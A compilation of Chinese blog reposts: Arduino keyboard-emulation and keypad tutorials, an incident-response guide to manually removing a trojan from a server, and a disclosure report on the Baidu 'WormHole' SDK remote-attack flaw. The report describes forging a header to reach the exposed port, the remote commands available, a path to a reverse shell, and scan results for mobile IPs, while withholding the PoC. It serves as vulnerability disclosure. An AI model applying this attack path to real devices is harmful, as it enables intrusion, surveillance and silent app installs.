  28.   digitalWrite(KEYPIN, HIGH);
  29. }
  30. void loop()
  31. {
  32.   UsbKeyboard.update();
  33.   if(digitalRead(KEYPIN) == HIGH)
  34.   {
  35.     delay(100);
  36.     if(digitalRead(KEYPIN) == LOW)
  37.     {
  38.       UsbKeyboard.sendKeyStroke(KEY_H);
  39.       UsbKeyboard.sendKeyStroke(KEY_E);
  40.       UsbKeyboard.sendKeyStroke(KEY_L);
  41.       UsbKeyboard.sendKeyStroke(KEY_L);
  42.       UsbKeyboard.sendKeyStroke(KEY_O);
  43.       UsbKeyboard.sendKeyStroke(KEY_SPACE);
  44.       UsbKeyboard.sendKeyStroke(KEY_W);
  45.       UsbKeyboard.sendKeyStroke(KEY_O);
  46.       UsbKeyboard.sendKeyStroke(KEY_R);
  47.       UsbKeyboard.sendKeyStroke(KEY_L);
  48.       UsbKeyboard.sendKeyStroke(KEY_D);
  49.       UsbKeyboard.sendKeyStroke(KEY_ENTER);
  50.     }
  51.   }
  52. }

注意,先插上Arduino数据线,将程序写入Arduino。然后拔掉数据线,将模拟键盘USB线接到电脑,即可使用。

下面随便点实物图

刚焊好的正反面
194204xv880393zvisyxn32154270440zvdpvvocmaqc

插数据线写程序进Arduino:
1941595x18zxgzaan1fgk5

转自http://www.geek-workshop.com/thread-1137-1-1.html, 版权归原作者所有

Arduino读取键盘[转载]

Arduino读取键盘

Arduino_and_Keypad
这里提供两种方式从Arduino读取键盘。第一种方式是使用矩阵式(Matrix)键盘,另一种方式是使用PS2键盘。
矩阵键盘(Matrix keypad)
首先必须安装Arduino Keypad键盘库(Keypad library),Arduino Keypad键盘库可以从Arduino Playground下载。Arduino Keypad键盘库让你读取矩阵式键盘而不用编写复杂的代码,此键盘库可以读取3×4, 4×4以及各种矩阵结构的键盘。
使用Arduino Keypad键盘库注意事项
  • 该键盘库是属于无阻塞式,按下谋键不放,其余(接下来)的代码还是会继续运行
  • 如果编写控制键盘处运用到delay(),这将造成键盘反应迟顿
  • 按下谋键,getKey()只返回一个键值,而不是自动重复。松开按键时,可以追踪其RELEASED event

安装Arduino Keypad键盘库

  • 下载Arduino Keypad键盘库
  • 将下载了的文件(keypad.zip)解压至Arduino软件的libraries文件夹,如图
Arduino_keypad_library
  • 打开Arduino软件
  • 选择File>Examples>Keypad,将会看见以下画面,表示Arduino Keypad键盘库安装成功
Arduino_keypad_examples
4×4矩阵keypad示范
根据下面接线连接键盘至Arduino
4x4_matrix_membrane_keypad_pinout
Arduino
4×4 Keypad
D2
1
D3
2
D4
3
D5
4
D6
5
D7
6
D8
7
D9
8
上载以下代码至Arduino
#include <Keypad.h>

const byte ROWS = 4; // Four rows
const byte COLS = 4; // Four columns

//Define the keymap
char keys[ROWS][COLS] = {
{‘1′,’2′,’3′,’A’},
{‘4′,’5′,’6′,’B’},
{‘7′,’8′,’9′,’C’},
{‘*’,’0′,’#’,’D’}
};

//// Connect keypad ROW0, ROW1, ROW2 and ROW3 to these Arduino pins.
byte rowPins[ROWS] = {6,7,8,9};

// Connect keypad COL0, COL1, COL2 and COL3 to these Arduino pins.
byte colPins[COLS] = {2,3,4,5}; //connect to column pinouts

// Create the Keypad
Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS );

void setup(){
Serial.begin(9600);
}

void loop(){
char key = keypad.getKey();

if (key != NO_KEY){
Serial.println(key);
}
}

使用Arduino软件自带的串口监视器(Serial Monitor)来测试此程序(Baud rate必须设成9600)。当按下谋键时,其返回值将显示在串口监视器。


PS2键盘
首先必须安装Arduino PS2键盘库(PS2keyboard library),Arduino PS2键盘库可以从这里下载
安装Arduino PS2键盘库
  • 下载Arduino PS2键盘库
  • 将下载了的文件(PS2keyboard.zip)解压至Arduino软件的libraries文件夹
  • 安装方法与安装keypad相似,请参考之。
 
PS2键盘示范
根据下面接线连接键盘至Arduino
PS2_keyboarad_pinout
Keyboard
Arduino
4 (+5V)
5V
3 (GND)
GND
5 (Clock)
Digital Pin 3
1 (Datak)
Digital Pin 4

上载以下代码至Arduino

#include <PS2Keyboard.h>

const int DataPin = 8;
const int IRQpin = 5;

PS2Keyboard keyboard;

void setup() {
delay(1000);
keyboard.begin(DataPin, IRQpin);
Serial.begin(9600);
Serial.println(“Keyboard Test:”);
}

void loop() {
if (keyboard.available()) {

char c = keyboard.read();  // read the next key

// check for some of the special keys
if (c == PS2_ENTER) {
Serial.println();
} else if (c == PS2_TAB) {
Serial.print(“[Tab]”);
} else if (c == PS2_ESC) {
Serial.print(“[ESC]”);
} else if (c == PS2_PAGEDOWN) {
Serial.print(“[PgDn]”);
} else if (c == PS2_PAGEUP) {
Serial.print(“[PgUp]”);
} else if (c == PS2_LEFTARROW) {
Serial.print(“[Left]”);
} else if (c == PS2_RIGHTARROW) {
Serial.print(“[Right]”);
} else if (c == PS2_UPARROW) {
Serial.print(“[Up]”);
} else if (c == PS2_DOWNARROW) {
Serial.print(“[Down]”);
} else if (c == PS2_DELETE) {
Serial.print(“[Del]”);
} else {
Serial.print(c);  // otherwise, just print all normal characters
}
}
}

使用Arduino软件自带的串口监视器(Serial Monitor)来测试此程序(Baud rate必须设成9600)。当按下谋键时,其返回值将显示在串口监视器。


增加按键音效
按照下面图象连接PC扬声器(此PC扬声器可以从废棄的电脑主板拆岀来),然後稍微更改代码。由于没有此PC扬声器的规格说明,估计供电5V且功率非常小,能够直接由Arduino驱动。如果不放心,可以在Aruino pin10与扬声器之间添加一个100欧姆电阻器。

Connecting_PC_speaker_to_Arduino

代码方面使用了tone()函数,具体可以浏览Arduino Reference网站
http://arduino.cc/en/Reference/Tone

tone()用法

  • tone(pin, frequency)
  • tone(pin, frequency, duration)
  1. pin是连接扬声器的引脚
  2. frequency是输出频率,频率越低,音频就越低。
  3. duration音频输出持续时间
  1. #include <Keypad.h>
  2. const byte ROWS = 4; // Four rows
  3. const byte COLS = 4; // Four columns
  4. //Define the keymap
  5. char keys[ROWS][COLS] = {
  6. {‘1′,’2′,’3′,’A’},
  7. {‘4′,’5′,’6′,’B’},
  8. {‘7′,’8′,’9′,’C’},
  9. {‘*’,’0′,’#’,’D’}
  10. };
  11. //// Connect keypad ROW0, ROW1, ROW2 and ROW3 to these Arduino pins.
  12. byte rowPins[ROWS] = {6,7,8,9};
  13. // Connect keypad COL0, COL1, COL2 and COL3 to these Arduino pins.
  14. byte colPins[COLS] = {2,3,4,5}; //connect to column pinouts
  15. // Create the Keypad
  16. Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS );
  17. void setup(){
  18. Serial.begin(9600);
  19. }
  20. void loop(){
  21. char key = keypad.getKey();
  22. if (key != NO_KEY){
  23. delay(50); //act as debounce
  24. beep();
  25. Serial.println(key);
  26. }
  27. }
  28. #define SPEAKER_PIN 10
  29. void beep(){
  30. tone(SPEAKER_PIN,2000,90);
  31. delay(20);
  32. noTone(SPEAKER_PIN);
  33. }
转自
http://ediy.com.my/index.php/2012-10-21-15-15-03/2013-04-14-05-06-50/item/65-arduino%E8%AF%BB%E5%8F%96%E9%94%AE%E7%9B%98

恶意代码清除实战

恶意代码清除实战 什么是恶意代码,指令集?是二进制可执行指令?还是脚本语言?字处理宏语言?其他指令集等等……以常见的类型举例,那么如果一台服务器存在恶意代码,windows系列机器的恶意代码一般指的是病毒,蠕虫,木马后门,linux系统机器恶意代码一般就是Rootkit。

那么如何快速判断自己的web服务器是否存在恶意代码,是否由于web端的问题导致的内网渗透,或被植入恶意代码作为跳板机、肉鸡等;如何通过手工或者工具的方式快速清除恶意代码,加固系统加固,预防下一次入侵带来的问题。

绿盟科技博客邀请安全服务团队的安全工程师从一个实战案例入手,来讲解如何手工清除恶意代码。现在已知有一台服务器表现不太正常,需要我们来排查这个服务器存在什么问题。

 

查看系统日志

前提是该服务器的日志策略,审核策略已经开启。

经过查询日志可以发现,攻击者从TerminalService端即远程桌面进行了多次登录尝试,并出现大量相同状态日志,即在进行远程暴力猜测。由于登录失败次数限制,延缓了攻击者猜测出真实口令的时间。

恶意程序如何执行

通过查看系统计划任务可以发现,攻击者使用较为老套的计划任务方式执行木马程序。

查看计划任务属性,便可以发现木马文件的路径。

木马文件和svchost.exe文件名较像,具有一定的迷惑性,属于常规隐藏方式。经过查询可知,svchsot.exe是Troj/GWGhost-O木马相关程序,即该木马的主要组件。

继续追查痕迹

另外,慢慢遵循着入侵者的脚步,可见攻击者动过的手脚不止这一处。

在prefetch文件夹下,prefetch目录下为系统启动的预读取文件,可以看见xiaoma,和抓肉鸡工具,查看创建时间发现早在几天前甚至更早就已经拿下该服务器为肉鸡,只是尚未发现。

另外发现,存在一些.pf文件,显然攻击者希望在系统运行的时候就成为肉鸡,根据系统启动预读取文件.pf的文件名反向搜索,诱敌深入。

可以发现在system目录下,存在.pf文件的链接指向文件,显然也是通过这个方式来开机加载的,使得服务器开机即上线沦为工具,真是放长线钓大鱼啊。

旁敲侧击

查看进程,可以从运行进程上来发现系统内存在的问题;

综上案例,在寻找恶意代码的过程中,根据各种方式查看系统信息是宗旨,根据收集到的信息判断恶意代码的存在位置和触发方式,进而删除恶意代码执行文件,并且侦查恶意代码的附属产品是否有影响系统启动项、系统文件等;将和恶意代码相关的执行文件、服务、链接等一并删除,如果可以的话,最为稳妥的重装操作系统当然是极好的。

对于我们来排查服务器系统存在的问题,我们要从进程、服务、启动项、网络连接、钩子等方面进行检查,并根据安全事件发生的时间节点,在查看系统信息时重点关注该时间节点的前后的日志事件和系统信息变化,如果可以的话可以以时间点为线索进行关联分析,从而摸清楚入侵者的思路和操作步骤。这里也推荐一些常用的小工具,可以帮助我们更好的来获取不同类别的系统信息,从而抓住系统痕迹,找到问题。

痕迹一:进程

推荐小工具:Process explore

查看可疑的进程及其子进程。可以通过观察以下内容:

  • 没有签名验证信息的进程
  • 没有描述信息的进程
  • 进程的属主
  • 进程的路径是否合法
  • CPU或内存资源占用长时间过高的进程

痕迹二:文件

推荐方式:根据日期排序,检查系统敏感目录文件的改动。

痕迹三:启动项

推荐小工具:Autoruns

这个小工具能够查看到系统的启动项,并且能够对大部分启动项做出说明,同时显示调用注册表路径,同时还能对一些常见的木马运行方式,BHO项、计划任务、镜像劫持等作出检查和侦测。一般判断的标准是,是否该项有注释说明,是否是可疑的常见组件,是否不是管理员添加的项等。

痕迹四:综合分析

推荐小工具:Icesword

Icesword功能比较强大,可以对隐藏进程进行检测,并以红色标出,方便我们查找;同时还可以对端口,服务,注册表,文件,线程等进行侦测观察,对没有描述或者奇怪的可疑选项名称进行逐一手工检测。

THE END

进行恶意代码侦查的过程是一个很有趣的过程,逆着入侵者的思路来,就像还原犯罪现场,时光倒流,加上推理和分析,不放过一丝一毫的线索;相信喜欢侦探小说的你,一定会喜欢上恶意代码侦查探索的过程的。

恶意代码清除实战,首发于博客 – 伯乐在线

比葫芦娃还可怕的百度全系APP SDK漏洞 – WormHole虫洞漏洞分析报告

「You can’t have a back door in the software because you can’t have a back door that’s only for the good guys.」 – Apple CEO Tim Cook

「你不应该给软件装后门,因为你不能保证这个后门只有好人能够使用。」—— 苹果 CEO 库克

0×00 序

最早接触网络安全的人一定还记得当年RPC冲击波,WebDav等远程攻击漏洞和由此产生的蠕虫病毒。黑客只要编写程序扫描网络中开放了特定端口的机器,随后发送对应的远程攻击代码就可以控制对方主机,在控制对方主机后,程序可以继续扫描其他机器再次进行攻击。因为漏洞出在主机本身,想要修复漏洞必须安装补丁才行,但因为很多人并不会及时升级系统或者安装补丁,所以漏洞或者蠕虫会影响大量的机器非常长的时间,甚至有的蠕虫病毒可以感染全世界上亿的服务器,对企业和用户造成非常严重的损失。

Android发布后,我们就一直幻想着能发现一个像PC上的远程攻击一样厉害的漏洞,但是Android系统默认并没有开放任何端口,开放socket端口的APP也非常稀少,似乎出现像PC那样严重的漏洞是不太可能的。但可惜的是,世界上并没有绝对的安全,就在这么几个稀少的端口中,我们真的找了一个非常严重的socket远程攻击漏洞,并且影响多个用户量过亿的APP,我们把这个漏洞称之为WormHole虫洞漏洞。

0×01 影响和危害

WormHole虫洞漏洞到底有多严重呢?请看一下我们统计的受影响的APP列表(还没有统计全):

百度地图 检测版本8.7
百度手机助手 检测版本6.6.0
百度浏览器 检测版本6.1.13.0
手机百度 检测版本6.9
hao123 检测版本6.1
百度音乐 检测版本5.6.5.0
百度贴吧 检测版本6.9.2
百度云 检测版本7.8
百度视频 检测版本7.18.1
安卓市场 检测版本6.0.86
百度新闻 检测版本5.4.0.0
爱奇艺 检测版本6.0
乐视视频 检测版本5.9
…完整列表见附录

这个列表是2015年10月14号统计的百度系APP的最新版,理论上所有小于等于检测版本的这些百度系的APP都有被远程攻击的危险。根据易观智库的统计排行:

可以看到手机百度、百度手机助手、百度地图等百度系APP有着上亿的下载安装量和加起来超过三亿的活跃用户。

安装了百度的这些APP会有什么后果和危害呢?

  1. 无论是 wifi 无线网络或者3G/4G 蜂窝网络,只要是手机在联网状态都有可能受到攻击。攻击者事先无需接触手机,无需使用DNS欺骗。
  2. 此漏洞只与app有关,不受系统版本影响,在google最新的android 6.0上均测试成功。
  3. 漏洞可以达到如下攻击效果:
  • 远程静默安装应用
  • 远程启动任意应用
  • 远程打开任意网页
  • 远程静默添加联系人
  • 远程获取用用户的GPS地理位置信息/获取imei信息/安装应用信息
  • 远程发送任意intent广播
  • 远程读取写入文件等。

下面是视频DEMO:

俺们做的视频效果太差,下面demo视频是从网上看到的:

 

0×02 漏洞分析

安装百度系app后,通过adb shell连接手机,随后使用netstat会发现手机打开了40310/6259端口,并且任何IP都可以进行连接。


原来这个端口是由java层的nano http实现的,并且这个http服务,百度给起名叫immortal service(不朽/不死的服务)。为什么叫不朽的呢?因为这个服务会在后台一直运行,并且如果你手机中装了多个有wormhole漏洞的app,这些app会时刻检查40310/6259端口,如果那个监听40310/6259端口的app被卸载了,另一个app会立马启动服务重新监听40310/6259端口。

我们继续分析,整个immortal service服务其实是一个http服务,但是在接受数据的函数里有一些验证,比如 http 头部remote-addr字段是否是”127.0.0.1”,但是会一点web技巧的人就知道,只要伪造一下头部信息就可把remote-addr字段变成”127.0.0.1”。

成功的和http server进行通讯后,就可以通过url给APP下达指令了。拿百度地图为例,以下是百度地图APP中存在的远程控制的指令的反汇编代码:

  1. geolocation 获取用户手机的GPS地理位置(城市,经度,纬度)
  2. getsearchboxinfo 获取手机百度的版本信息
  3. getapn 获取当前的网络状况(WIFI/3G/4G运营商)
  4. getserviceinfo 获取提供 nano http 的应用信息
  5. getpackageinfo 获取手机应用的版本信息
  6. sendintent 发送任意intent 可以用来打开网页或者与其他app交互
  7. getcuid 获取imei
  8. getlocstring 获取本地字符串信息
  9. scandownloadfile 扫描下载文件(UCDownloads/QQDownloads/360Download…)
  10. addcontactinfo 给手机增加联系人
  11. getapplist获取全部安装app信息
  12. downloadfile 下载任意文件到指定路径如果文件是apk则进行安装
  13. uploadfile 上传任意文件到指定路径 如果文件是apk则进行安装

当我们看到这些远程指令的时候吓了一跳。你说你一个百度地图好好的导航行不行?为什么要去给别人添加联系人呢?添加联系人也就算了,为什么要去别的服务器下载应用并且安装呢?更夸张的是,安装还不是弹出对话框让用户选择是否安装,而是直接申请root权限进行静默安装。下图是代码段:

可以看到下载完app后会有三个判断:

  1. 手机助手为系统应用直接使用android.permission.INSTALL_PACKAGES权限静默安装应用
  2. 手机助手获得 root 权限后使用 su 后执行 pm install 静默安装应用
  3. 非以上二种情况则弹出引用安装的确认框

一般用户是非常相信百度系APP,如果百度系APP申请了root权限的话一般都会通过,但殊不知自己已经打开了潘多拉的魔盒。

如果手机没root就没法静默安装应用了吗?不是的,downloadfile和uploadfile可以选择下载文件的位置,并且百度系app会从”/data/data/[app]/”目录下动态加载一些dex或so文件,这时我们只需要利用downloadfile或uploadfile指令覆盖原本的dex或so文件就可以执行我们想要执行的任意代码了。比如说,利用dex或者so获取一个反弹shell,然后把提权的exp传到手机上执行获得root权限,接下来就可以干所有想干的任何事情了。

0×03 POC

因为影响过大,暂不公布,会在WormHole漏洞修复完后更新。

0×04 测试

简单测试了一下WormHole这个漏洞的影响性,我们知道3G/4G下的手机其实全部处于一个巨大无比的局域网中,只要通过4G手机开个热点,就可以用电脑连接热点然后用扫描器和攻击脚本对全国甚至全世界连接了3G/4G的手机进行攻击。在家远程入侵一亿台手机不再是梦。

我们使用获取包名的脚本,对电信的下一个 C 段进行了扫描,结果如下:

Discovered open port 6259/tcp on 10.142.3.25  "com.baidu.searchbox","version":"19"
Discovered open port 6259/tcp on 10.142.3.93  "packagename":"com.baidu.appsearch"
Discovered open port 6259/tcp on 10.142.3.135  "com.hiapk.marketpho","version":"121"
Discovered open port 6259/tcp on 10.142.3.163  "packagename":"com.hiapk.marketpho"
Discovered open port 6259/tcp on 10.142.3.117  "com.baidu.browser.apps","version":"121"
Discovered open port 6259/tcp on 10.142.3.43   "com.qiyi.video","version":"20"
Discovered open port 6259/tcp on 10.142.3.148  "com.baidu.appsearch","version":"121"
Discovered open port 6259/tcp on 10.142.3.196  "com.baidu.input","version":"16"
Discovered open port 6259/tcp on 10.142.3.204  "com.baidu.BaiduMap","version":"20"
Discovered open port 6259/tcp on 10.142.3.145  "com.baidu.appsearch","version":"121"
Discovered open port 6259/tcp on 10.142.3.188  "com.hiapk.marketpho","version":"21"
Discovered open port 40310/tcp on 10.142.3.53  "com.baidu.BaiduMap","version":"122"
Discovered open port 40310/tcp on 10.142.3.162  "com.ting.mp3.android","version":"122" 
Discovered open port 40310/tcp on 10.142.3.139 "com.baidu.searchbox","version":"122"
Discovered open port 40310/tcp on 10.142.3.143 "com.baidu.BaiduMap","version":"122"
Discovered open port 40310/tcp on 10.142.3.176  "packagename":"com.baidu.searchbox"

255个IP就有16手机有WormHole漏洞。

除此之外,我们发现华为,三星,联想,金立等公司的某些机型在中国出厂的时候都会预装百度系app,突然间感到整个人都不好了。。。

0×05 总结

我们已经在2015年10月14日的时候将WormHole的漏洞报告通过乌云提交给了百度,并且百度已经确认了漏洞并且开始进行修复了。但这次漏洞并不能靠服务器端进行修复,必须采用升级app的方法进行修复,希望用户得到预警后尽快升级自己的应用到最新版,以免被WormHole漏洞攻击。

0×06 受影响的app列表

足球直播
足球巨星
足彩网
卓易彩票
助手贴吧
中国足彩网
中国蓝TV
中国蓝HD
珍品网
掌上百度
悦动圈跑步
优米课堂
音悦台
移动91桌面
央视影音
修车易
小红书海外购物神器
侠侣周边游
物色
万达电影
贴吧看片
贴吧饭团
视频直播
生活小工具
上网导航
全民探索
穷游
汽车之家
拇指医生(医生版)
萌萌聊天
美西时尚
么么哒
蚂蚁短租
旅游攻略
乐视视频
酷音铃声
口袋理财
经理人分享
购车族
歌勇赛
凤凰视频
风云直播Pro
多米音乐
都市激情飙车
懂球帝
蛋蛋理财
穿越古代
彩票到家
彩票365
爆猛料
百姓网
百度桌面Plus
百度云
百度游戏大全
百度音乐2014
百度新闻
百度团购
百度图片
百度贴吧青春版
百度贴吧简版
百度贴吧HD
百度输入法
百度手机助手
百度手机游戏
百度视频HD
百度视频
百度浏览器
百度翻译
百度地图DuWear版
百度地图
百度HD
百度
安卓市场
爱奇艺视频
VidNow
Video Now
T2F话友
Selfie Wonder
PPS影音
PhotoWonder
hao123特价
CCTV手机电视
91桌面
91助手
91爱桌面
91 Launcher
365彩票

PS:

1.文章是提前编辑好打算漏洞公开后再发布,趋势已经发文所以跟进.

http://blog.trendmicro.com/trendlabs-security-intelligence/setting-the-record-straight-on-moplus-sdk-and-the-wormhole-vulnerability/

2.网上公布的一些 app 列表大多是根据百度 moplus SDK 的特征指令静态扫描得来这样会有一定误报导致无辜 app 躺枪,比如漫画岛app 虽然集成了此 SDK 但是因为代码混淆策略,指令实现类名被混淆后 findClass 无法找到,所以 exp 都会提示404.

3.关联漏洞

WooYun: 百度输入法安卓版存在远程获取信息控制用户行为漏洞(可恶意推入内容等4G网络内可找到目标)

WooYun: WormHole虫洞漏洞总结报告(附检测结果与测试脚本)

 

比葫芦娃还可怕的百度全系APP SDK漏洞 – WormHole虫洞漏洞分析报告,首发于博客 – 伯乐在线